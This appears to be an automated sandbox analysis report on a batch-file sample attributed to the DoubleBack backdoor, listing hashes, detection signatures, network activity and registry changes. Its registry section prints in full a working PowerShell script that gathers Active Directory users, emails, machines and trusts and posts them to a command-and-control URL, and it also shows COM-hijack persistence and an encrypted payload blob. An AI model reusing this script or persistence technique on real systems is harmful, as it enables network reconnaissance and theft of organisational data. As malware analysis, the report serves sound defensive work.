Analysis
-
max time kernel
78s -
max time network
120s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
22-09-2021 01:56
Static task
static1
Behavioral task
behavioral1
Sample
ph2408.bat
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
ph2408.bat
Resource
win10v20210408
General
-
Target
ph2408.bat
-
Size
543B
-
MD5
f134912b3ebfb9d02e46c9dcac30b47f
-
SHA1
0418ee735232fea50d72d1b5f454403cc08fe45e
-
SHA256
ac2acbb0656b7b54c2c62e58cbb013f07500ec0ec85b73aadd9648fe6c4399be
-
SHA512
0505366c220c9ef61890ed201a436f51b964234d8670b3d069f8418af079aa9f1556eeeabfdf40fd7928881cace95e994f3ca38ff965f7241f6be94045a22e92
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1536-61-0x000000001B9E0000-0x000000001B9EA000-memory.dmp family_doubleback_x64 behavioral1/memory/1536-62-0x0000008800000000-0x000000880000D000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 4 1536 powershell.exe 8 568 msiexec.exe 10 568 msiexec.exe 11 568 msiexec.exe 12 568 msiexec.exe -
Modifies registry class 23 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{130A000B-010C-020D-030D-040E050F0610}\CLSID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\TreatAs\ = "{09130A00-0B01-0C02-0D03-0D040E050F06}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06} powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\LocalServer powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\VersionIndependentProgID\0913 = 5c3074792d22373a2c586c7c50396e465955235d334877534d755a65613e5432193f34473c40492a5f5b3143366678242f512b56705e3d626a6b30747a61336b6771796d767739666c64657535686a786936726f6362376e73703b7c63227e3656236261744565334b69283024503d2c2925703a3e216d4446547b7252786b326c2b4d4a355c2a404f3f4e27595876675b5a66484938576e7d71605d2f2e7a3768436a31395e77423c794c6f5341735551345f2d26754764 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\3343 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n#$file = 'C:\\Temp\\transcript.tmp'\r\n$file = Join-Path $env:temp \"pers132.tmp\";\r\n$fileASCII = Join-Path $env:temp \"pers132a.tmp\";\r\n\r\nStart-Transcript -Path $File -Verbose |out-null;\r\n\r\n# Function to help post HTTP request to web service\r\n#Function PostWebRequest([String] $url, [String] $data, [int] $timeout)\r\n#{ \r\n ##$url = 'XXX_TRANSCRIPTURL_XXX';\r\n#+ADD\r\n $url = \"%MARKER%/getdomstats\";\r\n\r\n#$data = @\"\r\n#test2342=test1\r\n#sec test\r\n#\"@\r\n\r\n##write-output \"Begin\"\r\n\r\n\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n##Write-Host $data;\r\n\r\n\r\n\r\n##write-output \"End\"\r\n#####\r\n\r\n\r\n\r\nStop-Transcript |out-null;\r\n\r\n\r\n\r\nif (Test-Path $file) {\r\n\r\nget-content $file | set-content $fileASCII -encoding ASCII\r\n\r\n#$data = Get-Content -Path $fileASCII\r\nif (Test-Path $fileASCII) {\r\n $fileSize = (Get-Item $fileASCII).length\r\n \r\n $timeout = 5000;\r\n \r\n #$buffer = [System.Text.Encoding]::UTF8.GetBytes($data)\r\n #$buffer = [byte[]][char[]]$data;\r\n \r\n \r\n [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)\r\n $webRequest.Timeout = $timeout\r\n $webRequest.Method = \"POST\"\r\n $webRequest.ContentType = \"application/x-www-form-urlencoded\"\r\n $webRequest.ContentLength = $fileSize;\r\n $webRequest.ServicePoint.Expect100Continue = 0;\r\n\r\n\r\n $requestStream = $webRequest.GetRequestStream()\r\n \r\n\r\n $fileStream = [System.IO.File]::OpenRead($fileASCII)\r\n $buffer = New-Object byte[] $fileSize\r\n $bytesRead = $fileStream.Read($buffer,0,$fileSize)\r\n\r\n $requestStream.write($buffer, 0, $bytesRead)\r\n $requestStream.Flush()\r\n\r\n \r\n# $requestStream.Write($buffer, 0, $buffer.Length)\r\n# $requestStream.Flush()\r\n $requestStream.Close()\r\n\r\n\r\n [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()\r\n $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())\r\n $result = $streamReader.ReadToEnd()\r\n}\r\n ##return $result\r\n\r\n#+ADD\r\nforeach($x in @($file, $fileASCII)){if(Test-Path $x){Remove-Item $x}}\r\n\r\n}\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{130A000B-010C-020D-030D-040E050F0610}\CLSID\ = "{09130A00-0B01-0C02-0D03-0D040E050F06}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\TreatAs powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\VersionIndependentProgID\ = "{130A000B-010C-020D-030D-040E050F0610}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\ProgID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\ProgID\ = "{130A000B-010C-020D-030D-040E050F0610}" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\VersionIndependentProgID\0F06 = 7dba42220d8dd05ad463e2913bb2fce270bab8cdfb8749f8fd8ee1651e94567af461528a500d3544eae446ef70ac100f6f64d9f61a6e8b23caccc389679c562a1fec94c234a7db7934be2d3479f66ee90546def4f269ae6831916fefe726571ed65dbc6cbb4b71ea8e1d63d55d81befe9e125f3152d3bdb8e3802c33fc609ecc31513b6f5dd279a49a9cb0319b6661392086c6e566e6d8f94ec078182db201d9e6c2046ef0f5139de636806d9f6c5e1b436f1d9cd912c3894eda32049f8997e4a56b0e2610a44014007f68de54ea97d6dd645b934e6f7fb854fa0037f2e6fc5014fb717f4615adc34cdcedc93de2a805a8c807e5269b3c87b23a6e671d70950233e513ea0bc19352f7377be7c64385024c56da38fb825e0ef34a174ff64e14d1c4b45be4b07c5b7f614c742f905b2fee61a865091eac508e9b8b710da6dca243f8687e2bdffe3131877e20e86ba62de10b8d93fdaf6b73f822feff0ccd3c7b9fd6b2615fc2b44045425fcb0a3bfbb92271f4889824f85e560dceceffde834503d83db1ab0ab6e0093771f9dbef555087de67d9c14e99a45d6d8fc0a99b60ecca10db85066ecc201a57554060db66809abebbcc4172aa63118ac8f232dc84b7fc2a7b33d9b3a4a519602b9a17b76bd9ed16bb72068e7417e33a04c52431d535fba74c786e70e8a28355e46d8d71d91e231cfa24a442314309966b81ac4baa3e0e5945ab235333ea03b8b18fd98aee78fd2f656a2a54efc15c265fc535ed74715f2bfc66b8cfc4283b06c3a36033742bfc10fb5bd3baefafb0a180461b62dae58ab4b8a7e26e041c495a497c32c6b6af80ef578528cebb33254491241b2c888ba02ebad6218b55642dd41299827e4b66c31c0287b8fdb4ffc14eb3c579ab0e88de450f2ea694b35911f209bf939159b9c1d934380ccb41a4aa65fb9601b723e4cd0c570461b7ac33612bcaaac380ef7d420493380f186c91946de88eff5c7a1b976512573c6f89c1bbaa5cfd0bd4ccd0ae9f96f13060d447a784d818c3be0e1d3b26e36b70a4d1f91431a5655a53b1eba2b479e47ba414c70732a944e30222c15c7f67619e0076b56fe9e6fb2e93d4a5d297c62fd6a251a1eb72f24196811f66d17b6770d9ebc4b6bc8c8e04b611dd72a23449e2280648a918adbe2139d9e52641cf197e80a30f9c4a82dcc23a49cb1a0fb404579c3f570314e83e62b78fd51e072b3555d2604aae49f2e60ec66622a096488b02eea3b448ecf3436cead96fc7bf1270b8a5ad48747bf47ed1d545f1cde3d17539d101f69de9f2e40661b45813642eb033a31dca06b0e015be37e9401b6e80a70075f712f9206c95a0ced8a13f1bad72fcdf592ee8bb2595d2afb8a39588473da752b0ea7f5bb2370dbe48778b53a0c227d989b83c96cecc775db0833b002411a48e882d6c0464e748d9cd89aa1d11278051b770e47c3fed92000868f5752d4d47395a0b6f50d491ef5b58c782747821fffd2e634dce83f231f913b69f5fff442e677372ef0e0b28d5f5899a52273f8df5287e36568a7e8722358aba22726faba739a313c5527ccb7f946f4e6e7f97451b0d988f0ab37b58f48feae431982491fe921a9a19ba674c9c2453e4f6437798f825f358fdd8c4d6f2682362db06d06fa0f3262195dc6aff16c98cce3fd10847e5ed6cfa4d14d299643d91b830d16b732985c01097276b03be9d5b08eb49d9cb48da398d6b162f19fb0cf7c0779ba19fd986ed95a429145240936c84d72fcfc4c9bdb5fc992ffed20088ecc4b18bdbcc2e1b712237942ba0b6e49349e5bc9592a268dd74acc71049ade2ee5ff509ce16fa6128fe55c344db47ac27c6697ccbac28899f173a297e17af08ed23be1bf8f39ee859db24181d38b49b98ed967c001ed5d6979f7b58308a81998d0364fc0993617c0f4feaf25eede38f8380a46cec5b3cc118b2c5f33710bbc33b16ac47423da400de81212161cb8a26679a4d1fe3dc5f34de9735828a4d31cf1675793b852ef0e7f5de67cabf5b572ad716b45950c06bc7a8c72475c7540dac5af5ea3a81a012977952215c423da7113079e89876479aafa192774fe346a87610750db4e62c4d60aae465287b4c2e048335efe77a47ba6ec115ff21b841928fb847a6e22ff0ad462303ed6a044ee911c79e899172662ef5fe3f05007df7d3619cfb34bdf2b465fd8d70af94db2e38c0fbe281ab786c268696f9bfaee845e0018da654806aaab325288a1ebc01d07d27799e7430e86205078181855e66fab2bde2a8098a7db897d18e68a9162194fac748fffaaca2fabe628141f85129ddabf9f600762db764c3322e827e69b1402d7cf4e60bb8659a53cabd4c267d99eb387186e646e700113ef0814aa2cf7a435ed9a9a6907c5b93503a8a472ca616d5a57854832f6fcc96dacb5515a93da3cc1cb711fd361aca04e71a31e16b06e7ba09c97a349d4f8e8adedbbf9d686415889fee10e56cd34dd0439558632afdff09967da54c895d9c37c261a5be9accfffa71acd8f2d8f46d209e3f1c2173d78aa98026f85d37ace0d727e9cf0bf29104903683015616e9547aaa72eaf1ebba541e29821a3a4d1e2ccc342b8ff53702d1ce65af8584a5079f5fbd0b4bd419c410df25172d7daff4aa063c61f3c54bce3509e3135707c0417b3f279fc54c98bfa91434aa9882aa33edd76714971d99bb8731605578a69a7980121dd2ecc7d0145850be6bd27a685d20c6e07d58bdaf6c1e84c52bfdce6d4918d4f207c38d17063a9085e4cd48e2ffb69287c268d5a907e25e331be2ac8cf54a5e8380b80674bebbceff4fc1b42903afc461f5b76e9ff9b255c9b6fc63e3028e01ccb95681a47171c9b4b1e2e90afda4a4120e0e5e23a64e5817137ca6e2c61cc8ca456314c851d880a3382127192487bad27ca17f49bc1e69f5b80b620e440daf98fae3d71762f6d9aee60e9d698aee14f68b0533c46c4cc5753915d90a15a25325262b5c07304a6eb91ea018eb416f6841d37a01193c80f83a808dfe557e07f9e7b07a6ddeb0427c77d4e2a4e3fa22c16f650578492e4986b1cd3ab61c42419b472af94e42dd24d8b62b50127a061ab2263bc24becde1507e7eee007abe4636894411d2362f491114c200c114d089c6dc0fc734f510b1a0d8f82ec6c1e1c893fefab7df3dce96dee54f51bf5917886272cc4766201d1b2fbf599db9c105889cb9542f8c973812d7848aa0d80408c3a7644ff3b095acf9aed26388785e7e4972db39a7dc949551161831c8e99be013e18eb334b0a7cc1bdacbe1b18b67482ded0e8edac01bc9ad9e52919807cba2fb7c5682b14cf2af77ef88f5c179f680e8b749a31ac38588de7debe95ef4d5f5a151f279e15af70aab4eb4a5dae8d4b647940c0e3f7cf612f5e1575cd429e154dec81223ec581995dfd8e7f611ea738c916a4003b85486a1842a4f93a5e81d6932e82c85c0a1e4e52f4be2e04ddbc334bd96b4c6c6846a889b1ac5ee6cb2fd5cbf689bd0a4d5e41ef0b1a1dacf35062c4a31938283c24c94da86c38312231cc72b50dd09ecf3239ddcf15e4694b0ffa127bdd0896f7fb8f65ac1c35a74c2c4721ecc97fad960fb176b976e1a545958b89374a161d75c36ad6aeb913e6a772028f8ec2b8267d9f2bae9d7be9494b942968613835e32ae92c0072df474f87fa58a60d468e99206d39f78341209cef9a1d03c290d1f703dcc6dbed0a0fe9c66d1ef74e38fcbb12377d7ccdf0eaa89e3ac5cb07ed52dccea0eee2a0ad57200d35de17f7a02b481669f9a6d2967f83eb1828c389f5182532118da9940ecc0be7b89fd21c0b26af3ee3123101598b0584f54fcd7980831f651c95d24cbae5b9aebc2667f982dba5a9ceedeec0579220fc6669c7a1a8bb8b066dae97397bb4ea51b72d7ffc024434901b58858e51e542bdafab18d06c204d6efc2d1d042cc111712e9318991ddf66d4a6f86b51d6b1c81ab1d23e2a8b5375783ad28d25e3c5d0dbd6f511dd6d6f17be90bff3f873ad266fc8316bbecd1bfeae232a6bcff47385047780b586a9af7feb0a2383ddfad6054e7108d45fa3be0cf383d488ce293dc7578a8f468ef262f833192af90ce6f141a344e504d007eb5d771952d0d82cc685a6c6f177f7443bddca7abcf19ed693552183cca4e0ca1d89e88be18bdd95692831b578ba1cf14274160b86c51dedf87f97346b7ca3ac97b4e879ce80b8bf5258ee337392bc2b4108b2960f24ef48d1a128d68a24e591575458a522afc1146716f7a8c772f17446c90a77780e1be01448eaa7da06a2ba7065ca1a486ddf07ebdae28ce377b2c973bf08d4b8cfe84951d057be02b82a3bba19cd485a092a5ad1da2e28aa3193c1cd92d261f0daafd2d4a3149e4130fddb9ff3a8672d556c56c7e9efa25b590901f7c45d841b600596582337b96242282d9b17c017191129ecf54f8062ac4bf02eace41f3bba175e523419afc06e6d1d2d79eddbc61b317e91c5cb38db6f15150736f5d187def8a5c9b5d407e95a4f8dfc608fce53e73b506bd529f74040d81b672ebf17b93dfba55f3b2cfa93acb5079e3ea8177a76b34fdb32ea56c7ca82977909d7f19833c10f959441772ffa09cae6ca72838cef0858b0200c460b07ec9c976dc0767513a8f4c5b7df243cb4a1a79ca7d6e1c7639896b511071669d8dae9b30bfbf2a2115f60a50d1079ec1472b333df636ec16a815fd43f12a13b6ae5fc6bd56679626de05bcc55e2c6f1e378f2ff19cab7e383f3bb1ebc37afa232279b6d0130e0197fdd3191afeefbd266b3fe906295aa3954c8b492a8786b1158420190d727cf936d6184a9226e4e508c84092a25d76edc3ead61dac1bd52f2aac817dad5ddf1f324221764c2b8b6c49c28cbca339fc3d77da4c8571650f508b53a43465c50758fe223c15ae74a5d1b01cc2a8ff8d681b04e83d42292f360b6af43e7497b84cbb8e0a0e1616be40927d47c11ce48399e82ca1f0498505e8c0fb54ef868b6f8465d9925a4dfb67fcd2b10f079aaaa6f73008ebff6fddcbc7c7d165d55e71ad6cec51a289d8b256a57e32db34157cbb168058bda7e46660822fbe65485adf3e599f48de67c35ad1bf5471cb9daf0cf79c6414a5f89f4d8f7755d2a5f6fab537583e616dc1182b4a40ec1e8c2cefef306fba1841e2a87b32be45f892f04eb307663a8b3a1643a22489089e760f6713f4658453ee8f69d790ac552a57d4f3ac9420dd92bc10855ac630ee040902c2c277ef5d6b692d639812776b2afb422078fa8f347dc6d22fc9cb4af8a181513de094ca8a6135eff07e8ac435beb6f1cc4bfebf17294884fe141b8efedb6888d6ab3d43802d07bfa844632333a6c27675506eab0d67073fd3e5a641a970e07e7c57e0fad9456664e7ca6285fff66a5407920242bbd5575e12f301d868a1fef1e6e066942b325e26c93bddc8b5bb0d90d8bf73f9f431749306b608f9f7112f2fc4a6fa4dada562d06ac810f55f0e0eb07d136c643679c44146be6d28656b4188d6dc4a01c017ce2e4888455b3c4a9a1a13850787f000d02c4387b4db28a9ed9b857d5f722495a95b491e18f39614996cc60fc7c6721c8fa6e5df8d8734707f8950432c26e59d48c2dfc908540f6a9452128f04eb064623b17cd416c9290585e6538007425d086e214a32753f4daac703ae9d0de899f4ec4d40a196d2168b557709e0a65d9429397284719fa1ec13a27fafcaeef0477a534d84d0e2e262a38a2b9490a5828b77df86f499d166fee4a7f1628924a19fe0f2470b79776f4027408b3fe93114113417159f3f4aeb63565f6f89de1ea0b262182b5e4b49d38f98ab8fe69e8883c0906afd6558e7ba29dff98397c57611999ba8175fee3dae76537777b0121b319572b192035f2e8bad5de80539036985e612fba51a961aa3b00cbc8da484b7cf1a8ded145c07e44f642963a9229935e9a8f1b1eca6bfe42c201df0c3b728e3bb4daf03b70889ba4b45ca01a19b0bc15e1ff95acfa1002b9b8685ab17dd3369ee6002fae93ec1203b5cfb39bcfb225c890bb99e97b393311fc245ef621f36f7ba0c406f1618e1151f266fc992c8ae178e3a6d6b45d156fb769f35d4c4f131867add13cd2c5a96e687b2f0e468fd830f07de6d7ca90a8ee0b798bbc3ab9d273778546b102df7e84d46b9c1d6a6a261d624787e236133ec193210b6e2e6db21a84bc4731d8e64519680ea59c01ed278553ab83e08132e9bb3d641e7f463e586c65af706031e3af1edcf560a21c998c55c550aa3dae92a0178aa36f6ad875a48feba9c2b9a03def1c7e8c82e2f8f708eaff376471cacd74a272856acd0c1b769d860b6cb5965600f819742607a545960ac3066b96251d1036e057fffe7fee9ad4f889a39f0977be29601a42ff9420faa448380a3dbcd6f42025e23c2da732794a4173d2137a00048358e344711267037c7e5398fbd0ad2c28455d54bfdd7b1de55ff97146e0a043adf08efd65bb00210641e35b4dd4df7fd5369f701c9db66102765c92be70cd0b81e971415226a9b2e8e5bff223a84e02a27798e5ca8d19d9088cd306386cddc631af220d5c6879eba75a2e413213de321b9d61c06ea484de8ed0250c916fe0b405f36fc1ca4404fb604e2a9ca1dd8a3c8d3317a2f7acd50a5793429bac16fb39608b08eba062b0fdecff8d2503e92e0a793aae4da3e465d8084a4c8e692cb6b9da63457e2a37789cd46843c9bb01f06b4cb91414f2eb256b4c5b3348138ca23b6937eed48173e08b9e34f510ab59b2bfae2d9ef8f7bcdcbaec7418de7853b0d932a5ae4c927611ab86788ffc820a74452a8c5988153b8f758606b53a49e6d5d126f6228c3a9408cbcc1f32025cca5058027667e93ae3bf2ce7be602fb8e6888d32d288f26f620246448ce2e376128921067c5c9ccbde810f1072e18c998c0c56279347719805a6185def5e82441b533010d7f8f6f609ef6660bd882866fe70cd1ff5e0f6abd8e8209d5b883aed0d330bd6948dd7ed0670aa61a1978a06e2a8cc58e7ac568f13f9759ebf81b0141174b39f1d02527296452e089d71e8bb42d19ca01c1aed92e2b5a5f121b056e3f1ce5c3be58e4ff08964b61d6f17ae942585a10e38e3eebbdeaa62d0cdb658f1e76ef52bf383bb6865c87073db1c309c84702826cf41c9b25f87d62278e63b504baf62ccdd695910313b76843463a2e824884c54d2e5fc731e96c8a7ac6f239a99867a627fa6787ad616fdc287299c145cd0e3e73c51c2385c1082d83710c3909e28ce7ac4bf61b1cd9b3c3aa984ffadd46873cace70bd039528332565daa3f8c40dafd6367147c0d128fe5b67681a01af282f4645f8b03eabc529037e7c6e902783828b8617cbda73facfadea7212265a2f98ca3ce9ed0c964489b926c3c30cefe7cc473070beaeed3a7402126aa86cac5568297842f1b2edf4786a0572a336d0d43ddfad796c940810873605500250208c5c0e411d60e434bffe4499482642e9ad6d8e88f13f9fa5f358bbccf297902d60513499efe35e0bb7e443bd42eb384f41141811ad08d3851dd60f93734fd5ef0b166872d7548507d0a1336359d8b1ccc4333fb2ce3a277cfedd4da9501c986c586c99068aeda6c426c3af7218c81be15fe4ab4da7730b5aabb16951e640577df67ba84d74cdca6d6d79abc756b0f972dffd49740d9d783f87a9166b848c2d70e6ef0b1c1eab6a2ad26536722d289df2ae133c2449a3537ba671a335f0f422047d31ec0a10ebecd5942cce84514bb538474e1769d5cbed8e8ce365faf801a146b969133a343ebd7d10cd2134d25286799474972306b439b74deb852128cd9f56ee23b854c586d38dfa58191b1563fe6e9fb447e6490c2c18292f98358b51fa20e87fb8c8260d75daa1342e97ef795db1b42693c6419ea8b446023df5eac94c37fb806c9d29b883bad181f3a3bad569319b590946ae60a7e6dba87ba71483a9dc9630ad841f02be28737e22090e7bc94b188f7e68e6b697031c9f67c3cea6c77f492a54ea7c8db6367b2953c6dce67c010933b281c4624f305b41ca47aba29da141ed017bdbc5b016414a58712dfe6ecd121c485ceaec4d6615051b2bb7d044e55121d532f3f52a18f56d48bd7a093a555f6ae380dd2b3301105cac910b0eb2c07f9d87936edaeb5b17859ef0b51372cc437bb2d3c6ae7b3ebbf289d32c76b215da89fe030cf6f6a51c381835a69c5ee36db0e5d353936d5aa3b4af38b6e0ff5640478a95a27848e9ee5518d13025c58c87ff8e6d31e9c57f04a683807c3a7e083e9a9770e32f05c00158fc1ad8bed95a0e69bbd256e73e683bdf8ead47c22e30347140ab63610eee44b545de5d8fb8e74919ab20736e036d61af5baa11e64a15b0a2cb8233305a13aae7f052629f47f641385675c7dd6810893d05d99bbba901fccf5d1750df5cba96e86478deb929057c7f061cb478c1b31975692719be27ac54a7523a9a5793639035c0295c072ab72e7fa84256b31c02e12f16b7a2c16285b57865387c7fa2e17e9e46c1905b39f4751380d628baff5b4e7fca931413f9a8b67cd1d172133f852bf0cc50d85fe74710ff02e346e66c5ba7207a9be9c86e247455ddb24bdf00589fc2c452e1ca403036f234e3154efa6a9d5d96b0281025e5a8c772913c5ea8dd78b3d1bf6a1bddc23280ecb8139543653770c1fcec67979533cd08040af540106991a61773c198706bb0d6931e38009441db0880d27112d903d930a283f15f4783242b3e6a376d4c40d579056eddc78566cf4b0d0981d1e5e3a4b25bd4e7ece499ef2f38c3d78639a2058d2f5c554ac42f1fa1ce0ac4622302bae592a2c14bc2ea5795ebef6fdd0dceb61a6c736afbaa0ec38084913fa8b13cbf1f48df1f95991ea43f6a30b5480dbe52320626dfbe4e3070fe2a29b95b4365e469a2c77171cdd780574427c3d1fff59b85f3d00be9464d557e1293aa21299798e9d35f84da253dfd8b1d2a0446a7147fcd7add937e052fe77b382679a5fb4806bafc2abe18ade455e892fc052a3f4902271182d7c39140d445a1f38e48c1ba8e54c229af715f6a2a561932ba7feae17df8bffea4c14c8b264aae6a45e4be6c63d9847ccd7c30e9b5e760487aa872bf817fdf1a3b87e9989ea6f4bce0fbc8aaef142d8ebf8d0f38813db24941dd2b3f88352929e63647f7a5cec4a1f4f45be2e0ca8d8178dab4e236ff84b86a79da4a7aa92f4f90e961029401328557f8423bd1d5fc629f90bf2eb1eb679fd6d254036b4071523b10f203f0067c976fa03cf6a8b32a7f2de43db9b899e4a0214d3b4052c209fbf45b2bc5c592f17e891aec704db1021519a90d147be78d2cc7df868cb00f01d282e8dd62601f968f4170082c7dbd3541e44d284c9133ff7dba7f93e06a3746fd405da77d080e8a43d12b829ac4377f2ed146b8f0ef445abdef3a0d1f779731851944fa644024c8192f7bb619ed773fdb3dda73972e556cc8b7bc6c89b38a349dac903710d90c7c37c614c2f242e2741daa7357755bccbfbe8714cab480b87a59a6741ab6cf03900a2261fe07dbcc0e0a50f70fa2c9a46ff0c22068359a9733ef02cca869f2dd23b083124b4602e809641cdaf070338e4a17601f196f9d1bb393199b7e3912c923c2aacd1e3b0e50a012ba7a38dcc1dcd8e2cce76d53cddd0ec9ae2a8bb3f3b81a912c18c51bb35bd28308713e4ea92f7b5870a6e412ce04ed936627bd36de1465ef4ceb38016a90d94cd983ae7ca3dd9f3c75832acf71fa806902e54109aa541f47aab760